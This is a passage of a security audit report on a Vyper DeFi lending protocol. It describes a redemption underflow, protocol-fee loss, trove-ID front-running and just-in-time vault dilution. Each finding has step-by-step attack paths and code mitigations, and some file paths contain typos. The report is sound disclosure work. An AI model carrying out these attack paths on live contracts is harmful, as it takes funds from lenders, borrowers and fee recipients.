4. `_redeem()` calculates `debt_to_free` capped only by requested and recorded debt at `src/trove_manager.vy:1357` , ignoring collateral-backed value.
5. `_redeem()` converts `debt_to_free` to `collateral_to_redeem` using oracle price at `src/trove_manager.vy:1381` .
6. Subtraction `trove.collateral - collateral_to_redeem` at `src/trove_manager.vy:1385` underflows when calculated collateral exceeds actual trove collateral.
7. Transaction reverts, blocking shareholder withdrawal and preventing borrowers from accessing liquidity via `_transfer_borrow_tokens()` at `src/trove_manager.vy:1636-1645` .

Impact

Lender shareholders lose the ability to withdraw funds through redemption when idle liquidity is insufficient. Borrowers cannot open troves or borrow when the system needs to redeem collateral to source borrow tokens. Fee recipients cannot claim accumulated fees that require redemption. Recovery requires a permissionless liquidation call by any actor, which consumes gas but provides no reward when collateral is exhausted. The blocking condition persists until explicit liquidation removes the offending trove from the redemption path.

Affected Code

`src/trove_manager.vy:1299-1457`

- `_redeem()`
- `debt_to_free` calculation
- `collateral_to_redeem` calculation
- `trove_new_collateral` assignment

`src/trove_manager.vy:1610-1648`

- `_transfer_borrow_tokens()`

`src/trove_manager.vy:1279-1297`

- `redeem()`

Mitigation

Cap each `debt_to_free` by the trove's oracle-valued collateral before converting to collateral amount:

```
# Calculate maximum debt backed by available collateral
max_debt_from_collateral: uint256 = trove.collateral *
collateral_price // _PRICE_ORACLE_PRECISION
```



```
# Cap debt_to_free by collateral-backed value
debt_to_free: uint256 = min(remaining_debt_to_free,
trove_debt_after_interest)
debt_to_free = min(debt_to_free, max_debt_from_collateral)
```

Additionally cap `collateral_to_redeem` at the recorded collateral balance:

```
collateral_to_redeem: uint256 = min(debt_to_free *
_PRICE_ORACLE_PRECISION // collateral_price, trove.collateral)
```

When collateral-backed debt is zero, advance the redemption walk to the next trove rather than reverting. Preserve any residual uncollateralized debt in the trove for the existing liquidation and loss-reporting mechanism rather than silently erasing it during redemption.

L-02 Underfilled redemptions can write off protocol-fee claims [Low]

Status

Unresolved

Severity

● Severity: Low

≈

● Impact: Medium

×

● Likelihood: Low

Summary

`claim_protocol_fees()` zeroing `unclaimed_protocol_fees` before redemption completes will cause permanent loss of fee claims for the performance-fee recipient as an attacker positions 1,000 minimum-rate Troves to cap redemption below the total fee amount, either blocking collection or causing the unredeemed remainder to be recognized as Lender profit instead of protocol fees.

Root Cause

- In `src/trove_manager.vy:354` the choice to zero `unclaimed_protocol_fees` before calling `_transfer_borrow_tokens()` is a mistake as `_redeem()` may free less than the requested amount without reverting.
- In `src/trove_manager.vy:1322-1427` the redemption loop stops unconditionally after `_MAX_REDEMPTIONS == 1_000` iterations even when `remaining_debt_to_free > 0`, without returning the actual debt freed.
- In `src/trove_manager.vy:1609-1648` the `_transfer_borrow_tokens()` function does not return or enforce that the full requested amount was sourced, allowing the caller to clear liability for unredeemed debt.

Internal Pre-Conditions

1. `unclaimed_protocol_fees` needs to be greater than the aggregate debt of the first 1,000 redeemable Troves.
2. Lender idle borrow-token balance needs to be less than `unclaimed_protocol_fees`.
3. Attacker needs to open 1,000 Troves with `annual_interest_rate` equal to `min_annual_interest_rate` and debt amounts slightly above `min_debt`, occupying the lowest-rate redemption positions.

External Pre-Conditions

None required.

Attack Path

1. Attacker calls `open_trove()` 1,000 times with `annual_interest_rate` set to `min_annual_interest_rate`, debt just above `min_debt`, and sufficient collateral, using insertion hints to place these Troves at the tail of the sorted list.
2. Protocol accrues performance fees via `upfront_fee` and other operations until `unclaimed_protocol_fees` exceeds the total debt of those 1,000 Troves.
3. Performance-fee recipient calls `claim_protocol_fees()` with either strict or permissive `min_collateral_out`.
4. In `src/truve_manager.vy:354` the function sets `unclaimed_protocol_fees = 0`.
5. In `src/truve_manager.vy:357` the function calls `_transfer_borrow_tokens()`, which finds insufficient idle liquidity and invokes `_redeem()`.
6. In `src/truve_manager.vy:1322-1427` the redemption loop processes at most 1,000 Troves and exits with `remaining_debt_to_free > 0`.
7. If the recipient supplied strict `min_collateral_out`, the transaction reverts at `src/truve_manager.vy:1645`, preserving the claim but blocking collection. If the recipient supplied permissive bounds, the transaction succeeds and `total_debt_decrease` is less than the original fee amount.
8. The unredeemed portion remains in `total_debt` and will be recognized as Lender profit on the next interest accrual or report.

Impact

The performance-fee recipient loses the portion of protocol fees that exceeds the redemption capacity of 1,000 Troves. If the recipient uses strict output bounds to protect against this, fee collection is blocked until liquidity increases or

redemption capacity changes. If the recipient uses permissive bounds, the transaction succeeds but the unredeemed fee remainder is permanently removed from `unclaimed_protocol_fees` and becomes Lender economic value, benefiting Lender shareholders instead of the fee recipient. The amount can be material depending on accumulated fees and the attacker's Trove sizing.

Affected Code

`src/trove_manager.vy:335-366`

- `claim_protocol_fees()`
- `unclaimed_protocol_fees`

`src/trove_manager.vy:1279-1457`

- `redeem()`
- `_redeem()`

`src/trove_manager.vy:1609-1648`

- `_transfer_borrow_tokens()`

Mitigation

Make `_redeem()` and `_transfer_borrow_tokens()` return the actual amount of debt freed from idle liquidity and redemption. In `claim_protocol_fees()`, decrease `unclaimed_protocol_fees` only by the sum of borrow tokens transferred from idle liquidity and debt actually redeemed, leaving any remainder claimable in subsequent calls. Optionally add a caller-selected claim amount parameter to allow bounded incremental collection. Update the `ClaimProtocolFees` event to emit the amount actually paid rather than the amount requested.

L-03 Shared leverage zapper permits nonce squatting in Trove Manager namespace [Low]

Status Unresolved

Severity ● Severity: Low ≈ ● Impact: Low × ● Likelihood: Low

Summary

Trove Manager derives Trove IDs from `keccak256(msg.sender, owner_index)` without namespacing by the recorded Trove owner, causing all users of the leverage zapper to share a single `msg.sender` namespace. An attacker can observe a victim's pending `open_leveraged_trove` transaction, front-run it with

a valid Trove open using the victim's `owner_index` , and permanently consume that ID, forcing the victim to retry with a fresh index and lose gas.

Root Cause

- In `src/trove_manager.vy:407–410` the Trove ID is derived from `keccak256(msg.sender, owner_index)` instead of `keccak256(owner, owner_index)` , collapsing all users of a forwarding contract into one namespace even though the `owner` parameter allows distinct Trove ownership.
- In `src/periphery/leverage_zapper.vy:233–243` the zapper forwards the caller-selected `data.owner_index` and `data.owner` unchanged to Trove Manager, but the manager sees only the zapper address as `msg.sender` , creating a shared namespace for all zapper users of each market.
- In `src/trove_manager.vy:915–918,998–1001,1162–1165` terminal Trove statuses `CLOSED` and `LIQUIDATED` are written into `troves[trove_id]` and persist permanently, so a consumed ID cannot be reused even after closure or liquidation.

Internal Pre-Conditions

1. A leveraged Trove market needs to be endorsed and accessible through the leverage zapper.
2. The attacker needs to prepare collateral meeting the market's minimum requirements to fund a valid helper Trove.

External Pre-Conditions

1. Transactions need to be visible in a public mempool, or the victim needs to use a predictable `owner_index` generation scheme such as `block.timestamp` .
2. The attacker needs to obtain earlier ordering through priority fees or a block builder relationship to execute before the victim.

Attack Path

1. Victim submits `open_leveraged_trove` with a chosen `owner_index` value through the leverage zapper for an endorsed market.
2. Attacker observes the victim's pending transaction in the mempool or anticipates a predictable index.
3. Attacker submits a higher-priority `open_leveraged_trove` call to the same zapper and market with the same `owner_index` , supplying sufficient `initial_collateral` and setting themselves as `owner` .

4. The attacker's transaction executes first. In `src/trove_manager.vy:233-243` the zapper forwards the index to `open_trove`, which derives `trove_id = keccak256(leverage_zapper_address, owner_index)` at `src/trove_manager.vy:407-410`, sees the ID is empty, and successfully opens the attacker's Trove.
5. The victim's transaction executes with the same zapper address and index, deriving the identical Trove ID. At `src/trove_manager.vy:410` the assertion `assert self.troves[trove_id].status == empty(Status)` fails because the ID now holds an `ACTIVE` Trove, reverting the victim's transaction.
6. Attacker can later close the helper Trove after the repayment cooldown, recovering collateral and principal, but the ID retains `CLOSED` status at `src/trove_manager.vy:915-918`, permanently blocking reuse of that index in the zapper's namespace.
7. Victim must retry with a different `owner_index`, paying gas for the failed transaction and any subsequent attempts the attacker front-runs.

Impact

Victims lose gas on reverted transactions and must select fresh `owner_index` values to retry leveraged Trove opens. Each successfully squatted index remains permanently consumed due to terminal status persistence. Repeated censorship requires the attacker to fund and close multiple collateralized Troves, making sustained attacks operationally expensive, while the victim can recover by choosing an unpredictable replacement index. No collateral is stolen because the victim transaction reverts atomically.

Affected Code

`src/trove_manager.vy:407-410`

- Trove ID derivation logic

`src/trove_manager.vy:915-918`, `src/trove_manager.vy:998-1001`,
`src/trove_manager.vy:1162-1165`

- `close_trove()`, `close_zombie_trove()`, and `liquidate_trove()` terminal status writes

`src/periphery/leverage_zapper.vy:233-243`

- `open_leveraged_trove()` parameter forwarding

Mitigation

Before forwarding the index to Trove Manager, derive a manager-facing index from at least `data.owner`, `msg.sender`, and `data.owner_index` within the leverage zapper. Alternatively, modify Trove Manager to derive the ID from

`keccak256(owner, owner_index)` and require `msg.sender == owner` or an explicit approval from `owner` for `msg.sender` before allowing Trove creation.

L-04 Just-in-time Lender deposits can dilute auction surplus for existing lenders [Low]

Status

Unresolved

Severity

● Severity: Low

≈

● Impact: Medium

×

● Likelihood: Low

Summary

The Auction contract's callback pattern enables a taker to deposit into the Lender vault immediately before surplus payment arrives, allowing them to capture pro-rata profit that should accrue only to incumbent lenders who bore the liquidation exposure. The callback executes after collateral delivery but before surplus settlement, allowing the taker to report stale vault assets and mint shares at pre-surplus prices, thereby diluting the gain for existing shareholders.

Root Cause

- In `src/auction.vy:358–440` the `take()` function transfers collateral and invokes arbitrary `takeCallback()` before collecting buy-token payment and routing surplus to the Lender, creating a deterministic window where the taker knows the exact surplus amount but can still influence vault share prices.
- In `lib/tokenized-strategy/src/TokenizedStrategy.sol:843–899` the `_convertToShares()` function uses cached `totalAssets` for share pricing, which is not synchronized with live assets until `report()` is called, allowing deposits to occur at stale prices even when a known gain is imminent.
- The choice to configure the Lender with an unlimited deposit limit (`type(uint256).max`) in `src/lender/Lender.sol:47–62` is a mistake as it permits arbitrarily large just-in-time deposits without restricting capital that could exploit timing-based share dilution.
- In `src/lender/LenderFactory.sol:17–20` the factory exposes a permissionless keeper that can call `report()` on any deployed Lender, allowing the attacker to establish a clean pre-surplus asset snapshot during their transaction.

Internal Pre-Conditions

1. Lender vault needs to have existing shareholders with deposited capital that has been lent into Trove positions.

2. Trove Manager needs to have initiated a redemption that triggers an auction with surplus exceeding the receiver's cap.
3. Auction needs to reach a fill state where `needed_amount` exceeds `maximum_amount - amount_received`, generating positive Lender surplus.
4. Lender vault's `depositLimit` needs to be greater than the attacker's planned deposit amount plus current vault assets.

External Pre-Conditions

1. Collateral token price needs to have increased relative to the original debt cap, creating economically meaningful surplus above the receiver's maximum amount.
2. Attacker needs to obtain sufficient buy tokens to cover both the auction fill payment and a large vault deposit.
3. Profit-unlock period configured in the Lender needs to allow the attacker to retain shares until profit is recognized and unlocked.

Attack Path

1. Attacker identifies an active auction with a fill opportunity where `needed_amount > maximum_amount - amount_received`, ensuring surplus will flow to the Lender.
2. Attacker calls `take()` in `src/auction.vy:358-440` with themselves as the callback receiver and non-empty callback data.
3. Auction contract computes the fill, decreases `current_amount`, and transfers collateral to the attacker at line 400.
4. Auction contract invokes the attacker's `takeCallback()` at line 404 before pulling any payment.
5. Inside the callback, the attacker calls the permissionless keeper's `report(lender)` function, which triggers `TokenizedStrategy.report()` at line 1091 and `Lender._harvestAndReport()` at line 101, establishing cached assets without the imminent surplus.
6. Still in the callback, the attacker deposits a large amount into the Lender via `deposit()`, which calls `_convertToShares()` at line 843 using the stale cached assets, minting shares at pre-surplus prices.
7. Callback returns and auction contract proceeds to line 418, where it pulls the fill payment and transfers surplus to the Lender's `surplus_receiver`.
8. A subsequent permissionless report recognizes the surplus as profit at line 1111 and locks shares accordingly.
9. After the configured profit-unlock period elapses, the attacker redeems their shares, capturing approximately `surplus * attackerDeposit / (priorAssets + attackerDeposit)` of the gain.

Impact

Existing Lender shareholders who provided the capital that funded the liquidated Troves receive a diluted share of auction surplus, with the attacker capturing a pro-rata portion of the gain based on their deposit size relative to prior vault assets. The diverted amount scales with the attacker's capital and can approach the entire post-fee surplus when the deposit is large relative to existing assets. This redistributes yield that should accrue exclusively to incumbent risk bearers without affecting principal.

Affected Code

src/auction.vy:358-440

- `take()`

src/dutch_desk.vy:107-150

- `kick()`

src/lender/Lender.sol:47-62, src/lender/Lender.sol:101-134

- `depositLimit`
- `availableDepositLimit()`
- `_harvestAndReport()`

src/lender/LenderFactory.sol:17-20, src/lender/LenderFactory.sol:37-59

- `KEEPER`
- `deploy()`

lib/tokenized-strategy/src/TokenizedStrategy.sol:619-686, lib/tokenized-strategy/src/TokenizedStrategy.sol:843-889, lib/tokenized-strategy/src/TokenizedStrategy.sol:1091-1175

- `convertToShares()`
- `_convertToShares()`
- `report()`

Mitigation

Implement snapshot-based surplus attribution that records eligible Lender shares when collateral is committed to an auction in `dutch_desk.vy:kick()`. Distribute that auction's surplus through snapshot-based or time-weighted reward accounting that excludes shares minted after the auction begins. This prevents deposits from participating in gains generated by pre-existing lending exposure without disrupting the existing callback pattern. Retain deposit caps and profit locking as supplementary economic mitigations. Do not rely solely on callback reordering or in-callback deposit guards, as the attacker can deposit immediately before calling `take()` in a single transaction.

